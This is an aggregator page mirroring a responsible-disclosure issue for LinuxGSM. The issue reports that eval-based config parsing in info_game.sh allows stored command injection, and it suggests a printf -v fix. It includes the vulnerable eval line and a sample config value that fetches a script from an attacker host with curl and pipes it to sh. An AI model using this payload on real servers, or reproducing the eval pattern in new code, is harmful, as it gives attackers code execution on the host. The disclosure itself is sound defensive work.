Security: game-server config values parsed via eval in info_game.sh - stored command injection
维护者通常 1 天内回复
还没有人认领这个 Issue。
评估
调研方向
从 lgsm/modules/info_game.sh 第 34 行开始,检查第 59、84、109、147、185、210、233 和 258 行中相同的 eval 模式,然后检查第 963-964 行附近的调用方。将 parse-helper 中对 eval 的使用替换为安全赋值,同时保留提取出的值,并验证包含命令替换语法的 config 值不会被执行。
由索引模型根据 Issue 内容生成。
描述
Security report (responsible disclosure)
Game-server config values parsed through eval in info_game.sh — stored command injection
Affected: lgsm/modules/info_game.sh:34 (identical pattern at lines 59, 84, 109, 147, 185, 210, 233, 258)
eval "${1}=\"$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')\""
The value extracted from the game's own config file is substituted into a string that eval then re-parses. A config value containing backticks or $( ) executes as a command.
Real callers feed attacker-reachable keys — e.g. info_game.sh:963-964 parse game.serverName / game.serverPassword from Battlefield-style .con configs. Anyone who can persist settings into the game server's config (in-game RCON admin, web panel, file manager, or a remote admin of the game itself) writes:
game.serverName "x$(curl http://attacker.tld/s|sh)"
The next ./gameserver start/monitor/details cycle parses the config and executes the payload as the LinuxGSM user — re-triggered forever.
Severity
Medium (same-user boundary: game process/remote-game-admin → host shell; becomes root-relevant in setups running LGSM cron as root). Defense-in-depth violation of CWE-78/CWE-95.
Suggested fix
Replace every parse-helper eval with safe dynamic assignment:
printf -v "${1}" '%s' "$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')"
No eval needed anywhere in these helpers.
- 主要语言
- Shell
- 星标
- 4.9k
- 派生
- 871
- 平均合并
- 1 天 6 小时
- 30 天内合并 PR
- 138
环境准备
在浏览器里用你自己的 GitHub 账号启动这个项目的开发容器。
- 没有 Dockerfile 或 Docker Compose 文件
- 有 Pull Request 模板
- 阅读贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
GameServerManagers/LinuxGSM 的其他 Issue
-
[Bug]: csserver metamod fails to load amxmodx after ubuntu 26.04 base image可能已有人在做 @dgibbs64 今天认领。 未关闭command: mods command: start distro: Ubuntu regression: yes reproducible: always severity: medium status: fixed in develop type: bug
难度 2/5 1-3 小时 新手友好度 70/100
GameServerManagers/LinuxGSM#5114 · 1 条评论 · 已指派 1 人 ·
维护者通常 1 天内回复
-
[Bug]: cs2server ignores the GSLT entered during install可能已有人在做 关联的 PR 仍在进行中或已合并。 未关闭command: install command: start distro: Debian engine: source2 game: Counter-Strike 2 regression: yes reproducible: always severity: high type: bug
难度 2/5 1-3 小时 新手友好度 82/100
GameServerManagers/LinuxGSM#5106 ·
维护者通常 1 天内回复
-
[Feature]: Grace period for stoponlyifnoplayers before forcing stop, restart or update可能已有人在做 @dgibbs64 今天认领。 未关闭command: monitor command: restart command: stop command: update priority: medium scope: all servers type: feature
GameServerManagers/LinuxGSM#5138 · 已指派 1 人 ·
维护者通常 1 天内回复
-
[Bug]: Craftopia saves to serverfilesDedicatedServerSave outside serverfiles可能已有人在做 @dgibbs64 今天认领。 未关闭command: backup command: start distro: Ubuntu engine: unity3d game: Craftopia info: docker reproducible: always severity: medium status: fixed in develop type: bug
GameServerManagers/LinuxGSM#5130 · 1 条评论 · 已指派 1 人 ·
维护者通常 1 天内回复
-
[Bug]: gamedig npm calls hang when the npm registry does not answer可能已有人在做 @dgibbs64 今天认领。 未关闭distro: Ubuntu info: docker info: query status: fixed in develop type: bug
GameServerManagers/LinuxGSM#5127 · 1 条评论 · 已指派 1 人 ·
维护者通常 1 天内回复
查看 GameServerManagers/LinuxGSM 的全部 Issue
相似的 Issue
-
documentation severity: low
难度 1/5 1 小时以内 新手友好度 88/100
luainkernel/lunatik#2231 ·
维护者通常 1 天内回复
-
diagnostics good first issue testing
难度 2/5 1-3 小时 新手友好度 85/100
维护者通常 1 天内回复
-
Remove leftover Cloud66 custom_web process from Procfile可能已有人在做 @ShahadatTest 今天认领。 未关闭Difficulty: Easy Good First Issue
难度 1/5 1 小时以内 新手友好度 88/100
rubyforgood/casa#7330 · 1 条评论 ·
维护者通常 1 天内回复
-
good first issue
难度 2/5 1-3 小时 新手友好度 65/100
维护者通常 21 天内回复
-
Name ai-agents-process where the renamed claude-process repository is meant可能已有人在做 @ShahadatTest 今天认领。 未关闭good first issue
难度 1/5 1 小时以内 新手友好度 85/100
btclib-org/portanode#821 · 1 条评论 ·
维护者通常 1 天内回复